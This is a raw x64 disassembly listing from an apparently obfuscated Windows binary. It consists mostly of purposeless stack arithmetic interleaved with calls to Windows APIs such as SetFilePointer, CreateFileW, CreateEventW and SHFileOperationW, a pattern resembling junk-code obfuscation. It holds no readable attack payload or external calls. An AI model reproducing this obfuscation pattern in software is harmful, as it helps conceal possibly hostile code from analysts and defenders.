mov dword [rsp + 0xc8], eax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x81], al
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2de7
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x328]
shl rax, cl
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
sar eax, cl
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x4400], rax
cmp qword [rsp + 0x4400], 0
je 0x140012765
jmp 0x14005297b
lea rax, [rsp + 0x338]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x3d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x188]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x818]
cmp rax, rcx
jb 0x1400128d8
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98]
sub eax, ecx
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
and eax, ecx
movzx ecx, byte [rsp + 0x58]
mov rdx, qword [rsp + 0x2f0]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jne 0x1400128bf
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [0x1400fd144]
sub eax, ecx
mov word [rsp + 0x88], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x20], eax
mov rax, qword [0x1400fd138]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x94]
mov rax, qword [0x1400fd138]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x20c]
call fcn.140053080
lea rcx, [rsp + 0x5cd8]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1400fd138]
mov dword [rcx], eax
movzx r9d, byte [rsp + 0x51]
mov rax, qword [rsp + 0x2e8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x298]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x188]
mov rcx, qword [rax]
call fcn.140053be0
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0xc0]
sar eax, cl
mov word [rsp + 0x64], ax
jmp 0x140012a16
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x60]
and eax, ecx
movzx ecx, byte [rsp + 0x58]
movzx edx, byte [rsp + 0x59]
or ecx, edx
cmp eax, ecx
jne 0x140012917
mov rax, qword [rsp + 0x1f0]
movzx ecx, al
mov rax, qword [rsp + 0x3e0]
shl rax, cl
mov qword [rsp + 0x120], rax
jmp 0x140012a16
mov eax, dword [rsp + 0xc8]
movzx ecx, al
mov eax, dword [rsp + 0xc4]
shl eax, cl
mov ecx, dword [rsp + 0xa0]
mov edx, dword [rsp + 0xb8]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001298d
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x1720]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0x508]
movzx ecx, byte [rax]
call fcn.140053c50
jmp 0x140012a16
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x1f0]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x140012a16
lea rdx, [rsp + 0x20d4]
lea rcx, [rsp + 0x2d30]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x33a8], eax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x81]
sub eax, ecx
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
movzx r8d, word [rsp + 0x78]
mov rax, qword [0x1400fd138]
mov edx, dword [rax]
mov rax, qword [rsp + 0xa8]
movzx ecx, word [rax]
call fcn.140054d50
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
add rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xb4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c8], eax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x6c]
sar eax, cl
mov word [0x1400fc398], ax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
add eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xa4]
mov edx, dword [rsp + 0x20c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140052816
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0xe0], ax
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x320]
mov qword [rsp + 0x4408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4408]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x328], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x618], rax
mov rax, qword [0x1400fc388]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x328], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x7c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0], eax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x54]
movsx ecx, word [0x1400fd140]
or eax, ecx
mov word [0x1400fd130], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4]
sar eax, cl
mov word [rsp + 0x8c], ax
mov eax, dword [rsp + 0x20cc]
sub eax, 0xd5
mov dword [rsp + 0x20cc], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc051
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov word [rsp + 0xe0], ax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x120], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x92aa
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [rsp + 0xc4]
mov dword [rsp + 0xb8], eax
movsx eax, byte [0x1400fd132]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x990]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x1e0e
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
sub eax, ecx
mov word [rsp + 0x78], ax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
cmp dword [rsp + 0x20cc], 0xc4c7
ja 0x140012b33
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
add eax, ecx
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov dword [rsp + 0x27b0], eax
cmp dword [rsp + 0x27b0], 0
je 0x140012ea1
cmp dword [rsp + 0x27b0], 0x62
je 0x140012df0
jmp 0x140012f7c
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fd128], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
shl eax, cl
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x778]
mov qword [rsp + 0x4410], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4410]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x328], rax
mov r8d, 0xf9
lea rdx, [rsp + 0x4238]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x33ac], eax
jmp 0x140012f7c
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x3514], eax
cmp dword [rsp + 0x3514], 0x10140013
je 0x140012edc
jmp 0x140012f1d
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x340], rax
movzx eax, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x59], al
jmp 0x140012f7c
mov rax, qword [rsp + 0x838]
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x94]
call fcn.1400534d0
mov rax, qword [rsp + 0x340]
mov ecx, dword [0x1400fc384]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400fd138]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x16ff
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
movzx eax, word [rsp + 0x98]
mov word [rsp + 0x1e0], ax
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x5c]
sar eax, cl
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c]
add eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
mov dword [rsp + 0x3510], ecx
movzx edx, byte [rsp + 0x60]
movzx ecx, dl
mov edx, dword [rsp + 0x3510]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140013067
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x84]
call fcn.140053ea0
jmp 0x140013214
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x188]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x7c0]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1400130e2
lea rax, str._aMl
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2f8]
mov word [rcx], ax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x2a8], rax
jmp 0x140013214
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
sar eax, cl
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x1e0]
add ecx, edx
cmp eax, ecx
jge 0x140013177
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc388], rax
lea r9, [rsp + 0x4418]
lea r8, [rsp + 0xd8]
mov edx, 0xa3
mov rcx, qword [rsp + 0x5400]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x4420], rax
mov rax, qword [rsp + 0x340]
mov edx, dword [rax]
mov rax, qword [rsp + 0x2e8]
movzx ecx, byte [rax]
call fcn.140053d40
jmp 0x140013214
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x3e0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x140013214
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x4428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4428]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x778]
add rax, qword [rcx]
mov qword [rsp + 0x1f8], rax
mov edx, dword [rsp + 0xa4]
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rax]
call fcn.140053b90
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x328], rax
lea rax, [rsp + 0xd4]
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x668], rax
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0xb4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbfcd
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x4430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4430]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2b0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x328]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400133f3
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x190]
movzx eax, word [rax]
mov word [rsp + 0xd0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x59d4
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x64], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1c18], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
and eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
add rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x540], rax
mov dword [rsp + 0x20d8], 0x116ce
jmp 0x140013493
movsx eax, word [0x1400fd140]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x2f8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x140013493
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
mov dword [rsp + 0x20], ILAppendID
lea r9, [rsp + 0xa0]
mov r8d, 0x68
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x4238]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x3c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov dword [rsp + 0x350c], eax
cmp dword [rsp + 0x350c], 0
je 0x1400134b4
jmp 0x1400527b1
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [0x1400fd150], ax
mov rax, qword [rsp + 0x7c0]
mov qword [rsp + 0x3d50], rax
cmp qword [rsp + 0x3d50], 0
je 0x1400135bc
movabs rax, 0x7ca3ef9b800319
cmp qword [rsp + 0x3d50], rax
je 0x1400134fe
jmp 0x140052755
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c], eax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
mov eax, dword [rsp + 0x208]
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x4438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4438]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x530]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x180]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x508]
movzx r8d, byte [rax]
movzx edx, word [rsp + 0x8c]
mov rax, qword [rsp + 0x2f8]
movzx ecx, word [rax]
call fcn.140053dc0
mov rdx, qword [rsp + 0x2318]
mov rcx, qword [rsp + 0x2318]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x3630], rax
jmp 0x140052755
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
add rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.rgK2_tSSgL8JuZcurRe8UFK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1310], rax
lea rax, [rsp + 0x81]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x78]
movsx edx, word [rsp + 0xd0]
and ecx, edx
cmp eax, ecx
jne 0x140052572
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
sar eax, cl
mov word [rsp + 0xec], ax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0xc70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xf28], rax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x540], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x77a1
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
lea rax, [rsp + 0x98]
mov qword [0x1400fd158], rax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x148], ax
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x94]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x750]
mov rcx, qword [rsp + 0xd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0xc4]
mov edx, dword [rsp + 0x208]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140013808
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x4440], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4440]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x838]
mov rcx, qword [rsp + 0x188]
mov qword [rsp + 0x4448], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4448]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x990], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x298]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
jmp 0x140013a38
mov eax, dword [rsp + 0x3c8]
mov ecx, dword [rsp + 0xb4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x340]
mov edx, dword [rsp + 0xa4]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jl 0x140013a38
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [rsp + 0xc8]
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x338]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7c0]
mov rdx, qword [rsp + 0x838]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x1400139ae
movsx eax, word [0x1400fd140]
movsx ecx, word [rsp + 0x98]
or eax, ecx
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0xb4]
movzx ecx, al
mov eax, dword [rsp + 0x3c8]
shl eax, cl
mov rcx, qword [rsp + 0x340]
mov edx, dword [rsp + 0x94]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jge 0x140013935
lea rax, [rsp + 0x6c]
mov qword [0x1400fd160], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
and eax, ecx
mov word [rsp + 0x88], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8ced
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
jmp 0x1400139a9
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x60]
sar eax, cl
movzx ecx, byte [rsp + 0x59]
movzx edx, byte [rsp + 0x51]
add ecx, edx
cmp eax, ecx
jle 0x140013960
movzx ecx, byte [rsp + 0x80]
call fcn.140053c50
jmp 0x1400139a9
mov rax, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x1f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x1b0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jge 0x1400139a9
mov rcx, qword [rsp + 0x2e78]
call qword [sym.imp.GDI32.dll_RealizePalette]
mov dword [rsp + 0x348], eax
jmp 0x140013a38
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x120]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140013a09
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
jmp 0x140013a38
mov rax, qword [0x1400fd158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0]
sub eax, ecx
movsx ecx, word [rsp + 0x78]
mov rdx, qword [rsp + 0x278]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140013a38
call fcn.140053b50
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x540]
sar rax, cl
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x990]
mov qword [rsp + 0x10c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1248], rax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x7c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x10c0]
mov rdx, qword [rsp + 0x1a8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x140013b27
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc8]
shr eax, cl
mov dword [rsp + 0x208], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
sub eax, ecx
mov word [rsp + 0xec], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x540]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
jmp 0x140013c99
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x78]
xor ecx, edx
cmp eax, ecx
jl 0x140013c99
